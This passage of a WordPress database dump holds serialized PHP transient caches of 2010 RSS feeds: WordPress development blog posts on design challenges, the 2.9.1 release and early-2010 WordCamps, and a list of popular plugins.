Design Challenges. We learned a lot from the icon design and header refresh contests, and we want to do these kind of open design challenges on a regular basis to give UI/UX designers who want to contribute to the WordPress open source project more opportunities to do so. If we could do one per month, that would be ideal, keeping the challenges relatively bite-sized to allow potential contributors an easy way to get involved at first. As each challenge is posted, people can use the list to bounce ideas off each other and work toward optimal solutions. I’m hoping the design challenges will evolve to be less contest and more collaboration. We’ll announce the first one before the end of January, so if you’re interested, please sign up for the list! (Hint: one will likely be a touch up to the Right Now dashboard module, to improve the information design, and there will be a couple of screen layout challenges coming up as well.)

\n

Distributed Usability Testing. We started to try this out last year, and several dozen usability professionals volunteered to help get the program going, but a combination of scheduling and infrastructure issues combined to stall the progress. Having the “UI/UX contributor team” infrastructure in place, starting with the mailing list, will make it much easier to get this project going again.

\n

Chit-chat. The weekly developer chats in IRC at #wordpress-dev have been very productive. We’ve created an IRC room at #wordpress-ui on irc.freenode.net so that we can have the same kind of “water cooler” for UI/UX contributors as for core code contributors. In addition to being a place where you can drop in and discuss core UI/UX (note: this room will not be a place to discuss the design of blog themes, it’s to discuss the design of the Wordpress application itself), we’ll set up a weekly chat. Choosing a day and time for the chats will probably be the first discussion on the mailing list.

\n

A blog of our own. Once again, taking a page from the code contributor infrastructure, we’ll set up a blog for UI/UX updates, announcements, progress reports, etc. This will be on WordPress.org in the nearish future, and will be announced to the mailing list when it is live.

\n

So, if you want to become a contributor to core WordPress by using your design skills, join the wp-ui mailing list and get ready for a fun year!

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://wellformedweb.org/CommentAPI/";a:1:{s:10:"commentRss";a:1:{i:0;a:5:{s:4:"data";s:70:"http://wordpress.org/development/2010/01/2010-open-source-design/feed/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:38:"http://purl.org/rss/1.0/modules/slash/";a:1:{s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:1:"5";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:7;a:6:{s:4:"data";s:41:"\n \n \n \n \n \n \n\n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:5:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:15:"WordPress 2.9.1";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:57:"http://wordpress.org/development/2010/01/wordpress-2-9-1/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:66:"http://wordpress.org/development/2010/01/wordpress-2-9-1/#comments";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 04 Jan 2010 22:35:31 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:8:"Releases";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1140";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:351:"After over a million downloads of WordPress 2.9 and lots of feedback from all of you, we’re releasing WordPress  2.9.1.  This release addresses a handful of minor issues as well as a rather annoying problem where scheduled posts and pingbacks are not processed correctly due to incompatibilities with some hosts.  If any of these issues [...]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Ryan Boren";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:681:"

After over a million downloads of WordPress 2.9 and lots of feedback from all of you, we’re releasing WordPress  2.9.1.  This release addresses a handful of minor issues as well as a rather annoying problem where scheduled posts and pingbacks are not processed correctly due to incompatibilities with some hosts.  If any of these issues affect you, give 2.9.1 a try.  Download 2.9.1 or upgrade automatically from the Tools->Upgrade menu in your blog’s admin area.

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://wellformedweb.org/CommentAPI/";a:1:{s:10:"commentRss";a:1:{i:0;a:5:{s:4:"data";s:62:"http://wordpress.org/development/2010/01/wordpress-2-9-1/feed/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:38:"http://purl.org/rss/1.0/modules/slash/";a:1:{s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:1:"0";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:8;a:6:{s:4:"data";s:41:"\n \n \n \n \n \n \n\n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:5:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:20:"Early 2010 WordCamps";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:62:"http://wordpress.org/development/2010/01/early-2010-wordcamps/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:71:"http://wordpress.org/development/2010/01/early-2010-wordcamps/#comments";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 04 Jan 2010 19:40:48 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:8:"WordCamp";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1127";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:297:"Rested up from the holidays? I hope so, because the new year has begun and a lot is going to be happening with WordPress in 2010, and you definitely want to be a part of it. Later this week the scope for version 3.0 (featuring the addition of MU functionality to the WordPress codebase) will [...]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Jane Wells";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:8301:"

Rested up from the holidays? I hope so, because the new year has begun and a lot is going to be happening with WordPress in 2010, and you definitely want to be a part of it. Later this week the scope for version 3.0 (featuring the addition of MU functionality to the WordPress codebase) will be decided in the IRC developer chat*, based on feedback provided by users like you. But it’s no fun to live by IRC alone, which is why we love WordCamps. Attending a WordCamp gives you a chance to meet people in your local community who are working with WordPress, as well as core contributors, theme designers, plugin developers, Codex writers, support forum moderators and other WordPress volunteers who’ve made WordPress what it is today. Add this New Year’s Resolution to your 2010 list if it’s not on there already: Attend a WordCamp, meet at least 5 new local people, learn something new, and if you have the chance, buy a drink for someone who’s volunteered their time and expertise to the WordPress open source project. To help you keep your resolution, here is a list of the upcoming WordCamps for the next three months, followed by what I know so far about each one.

\n

January 8–9: WordCamp Atlanta
\nJanuary 23: WordCamp Boston
\nJanuary 30: WordCamp Greece in Thessaloniki
\nJanuary 30: WordCamp Indonesia in Jakarta
\nFebruary 27: WordCamp Fukuoka
\nMarch 6–7: WordCamp Ireland in Kilkenny
\nMarch 27–28: WordCamp Toronto

\n

NORTH AMERICA

\n

January 8–9: WordCamp Atlanta. First WordCamp of the year, and it’s already sold out — twice! They changed to a bigger venue based on demand, from Georgia Tech to the Atlanta campus of Savannah College of Art and Design (SCAD). They’re still letting people onto the waitlist, if you’re interested. A guaranteed way to get in would be to sponsor the event, and they’re taking last-minute sponsors right now. Atlanta will have sessions on Friday evening and all day Saturday. I’ll be opening the Saturday program with WordPress Resolutions: What to Expect in 2010. After a day of design, development and content track sessions, Lead Developer Mark Jaquith will take the closing slot for a Town Hall-style Q&A. The attendee list (follow link, scroll down) includes a number of WordPress core contributors, theme/plugin developers, and support providers as well as proof that Atlanta has a strong WordPress user base.

\n

January 23: WordCamp Boston. I think WordCamp Boston is trying to one-up every WordCamp the organizers have been to, including the awesome NYC from November, and it looks like they might succeed. From Doc Searls and David Weinberger as keynote speakers to the multiple-track, unconference and Ignite sessions to the sweet-looking venue and the party plans, this one has got it going on. I credit it in part to the fact that they are one of the few WordCamps to follow the advice of having an organizing team of more than just 2 or 3 people, so the work is better distributed. I see a number of familiar names on the attendee list, but even more that I don’t know, so I’m looking forward to meeting the Boston WordPress community. They’re still selling tickets, so if you’re in the northeast, you should try to make it. I’ll be at this one also, talking about how the merge with MU will affect the WordPress admin (by then we should have started figuring it out!).

\n

March 27–28: WordCamp Toronto. The last two Toronto WordCamps have been really good. I heard there would be one in March, but their site right now is just taking emails for notification. I’ve contacted the organizer to see what’s up, and he says the site will likely go live this week. They’re looking for volunteers to help organize this year’s event, so if you’re interested, it would be a great opportunity to get involved. Believe me, volunteering at a WordCamp is one of the best ways to make sure you meet a lot of other attendees.

\n

ASIA

\n

January 30: WordCamp Indonesia. WordCamp Indonesia will be in Jakarta again this year. I love how they worded the beginning of their sessions page. “Come in, we’ll get you breakfast and coffee, you’ll register, there’ll be networking. It’ll be great.” There will be a single track of sessions, but there are several time slots set aside for ad-hoc discussion and breakout sessions.

\n

February 27: WordCamp Fukuoka. WordCamp Fukuoka is just getting its site up, too, so check back periodically a little later for more information. One of their visiting speakers will be Noel Jackson, developer of the Press This bookmarklet as well as themes like P2 and Monotone/Duotone.

\n

EUROPE

\n

January 30: WordCamp Greece. WordCamp Greece will be held in Thessaloniki, and they expect about 100-150 people to attend.The program includes regular sessions on the usual topics (how-to, programming, SEO, multi-language sites, etc) as well as “QuickRounds,” which will showcase Greek projects based on WordPress. I’m especially intrigued by the “WordPress vs. Expression Engine” session. Whenever people compare different publishing platforms, it’s interesting to see which features they highlight. I hope someone gets video from this one and posts it to the WordCamp section of WordPress.tv.

\n

March 6–7: WordCamp Ireland. WordCamp Ireland will be in Kilkenny, and for such a geographically small country, it’s got an impressive list of speakers, including Donncha O Caoimh, lead developer of WordPress MU. The program includes three tracks: Intro, Blogger, and Developer, and I think this will be the first WordCamp I’ve heard of that is deliberately family-friendly, with on-site child care. They’re also going to have a charging station for mobile devices, which is clever. It’s not confirmed yet, but I think I’ll be at this one, too.

\n

If you want to attend a WordCamp but don’t know of one near you, check out WordCamp.org for the official list (updated frequently). That’s also where you would start if you wanted to organize a WordCamp in your area.

\n

*Developer chats are held Thursdays at 21:00 UTC in the #wordpress-dev channel at irc.freenode.com.

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://wellformedweb.org/CommentAPI/";a:1:{s:10:"commentRss";a:1:{i:0;a:5:{s:4:"data";s:67:"http://wordpress.org/development/2010/01/early-2010-wordcamps/feed/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:38:"http://purl.org/rss/1.0/modules/slash/";a:1:{s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:1:"0";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:9;a:6:{s:4:"data";s:44:"\n \n \n \n \n \n \n \n\n \n \n \n \n \n ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:5:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"WordPress 2.9.1 Release Candidate 1";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:77:"http://wordpress.org/development/2009/12/wordpress-2-9-1-release-candidate-1/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:86:"http://wordpress.org/development/2009/12/wordpress-2-9-1-release-candidate-1/#comments";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 29 Dec 2009 23:27:23 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:2:{i:0;a:5:{s:4:"data";s:11:"Development";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:8:"Releases";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1119";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:334:"Thanks to everyone who tested 2.9.1 Beta 1.  We’re following that up with Release Candidate 1.  RC1 contains a few more fixes, bringing the number of fixed tickets up to 23.  If you are already running Beta 1, visit Tools->Upgrade in your blog’s admin to get RC1.  You can also  download the RC1 package and [...]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Ryan Boren";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:682:"

Thanks to everyone who tested 2.9.1 Beta 1.  We’re following that up with Release Candidate 1.  RC1 contains a few more fixes, bringing the number of fixed tickets up to 23.  If you are already running Beta 1, visit Tools->Upgrade in your blog’s admin to get RC1.  You can also  download the RC1 package and install manually.  If all goes well, 2.9.1 will be here soon.

\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:36:"http://wellformedweb.org/CommentAPI/";a:1:{s:10:"commentRss";a:1:{i:0;a:5:{s:4:"data";s:82:"http://wordpress.org/development/2009/12/wordpress-2-9-1-release-candidate-1/feed/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:38:"http://purl.org/rss/1.0/modules/slash/";a:1:{s:8:"comments";a:1:{i:0;a:5:{s:4:"data";s:1:"1";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}s:27:"http://www.w3.org/2005/Atom";a:1:{s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:0:"";s:7:"attribs";a:1:{s:0:"";a:3:{s:4:"href";s:38:"http://wordpress.org/development/feed/";s:3:"rel";s:4:"self";s:4:"type";s:19:"application/rss+xml";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:44:"http://purl.org/rss/1.0/modules/syndication/";a:2:{s:12:"updatePeriod";a:1:{i:0;a:5:{s:4:"data";s:6:"hourly";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:15:"updateFrequency";a:1:{i:0;a:5:{s:4:"data";s:1:"1";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";a:7:{s:10:"x-pingback";s:43:"http://wordpress.org/development/xmlrpc.php";s:13:"last-modified";s:29:"Thu, 11 Mar 2010 21:37:23 GMT";s:4:"etag";s:34:""bac362c434ce0f60a992efd0a5f3871a"";s:12:"content-type";s:23:"text/xml; charset=UTF-8";s:4:"date";s:29:"Fri, 12 Mar 2010 08:48:57 GMT";s:6:"server";s:9:"LiteSpeed";s:10:"connection";s:5:"close";}s:5:"build";s:14:"20090627192103";}', 'no'), +(126, 0, '_transient_timeout_feed_mod_0ff4b43bd116a9d8720d689c80e7dfd4', '1268427261', 'no'), +(127, 0, '_transient_feed_mod_0ff4b43bd116a9d8720d689c80e7dfd4', '1268384061', 'no'), +(128, 0, '_transient_timeout_feed_a5420c83891a9c88ad2a4f04584a5efc', '1268427261', 'no'), +(129, 0, '_transient_feed_a5420c83891a9c88ad2a4f04584a5efc', 'a:4:{s:5:"child";a:1:{s:0:"";a:1:{s:3:"rss";a:1:{i:0;a:6:{s:4:"data";s:3:"\n\n\n";s:7:"attribs";a:1:{s:0:"";a:1:{s:7:"version";s:3:"2.0";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:1:{s:7:"channel";a:1:{i:0;a:6:{s:4:"data";s:23:"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:6:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:12:"Most Popular";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:36:"http://wordpress.org/extend/plugins/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:12:"Most Popular";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"language";a:1:{i:0;a:5:{s:4:"data";s:2:"en";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 12 Mar 2010 08:48:58 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"item";a:15:{i:0;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:33:"uberdose on "All in One SEO Pack"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:65:"http://wordpress.org/extend/plugins/all-in-one-seo-pack/#post-753";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 30 Mar 2007 20:08:18 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"753@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:92:"Automatically optimizes your Wordpress blog for Search Engines (Search Engine Optimization).";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"uberdose";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:1;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:38:"bravenewcode on "WPtouch iPhone Theme"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:54:"http://wordpress.org/extend/plugins/wptouch/#post-5468";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 01 May 2008 04:58:09 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"5468@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:150:"WPtouch automatically transforms your WordPress blog into an iPhone application-style theme, complete with ajax loading articles and effects, when vie";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:12:"bravenewcode";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:2;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:32:"takayukister on "Contact Form 7"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:61:"http://wordpress.org/extend/plugins/contact-form-7/#post-2141";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 02 Aug 2007 12:45:03 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"2141@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:54:"Just another contact form plugin. Simple but flexible.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:12:"takayukister";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:3;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:30:"arnee on "Google XML Sitemaps"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:70:"http://wordpress.org/extend/plugins/google-sitemap-generator/#post-132";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 09 Mar 2007 22:31:32 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"132@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:105:"This plugin will generate a special XML sitemap which will help search engines to better index your blog.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:5:"arnee";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:4;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:29:"andy on "WordPress.com Stats"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:52:"http://wordpress.org/extend/plugins/stats/#post-1355";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 06 May 2007 02:15:03 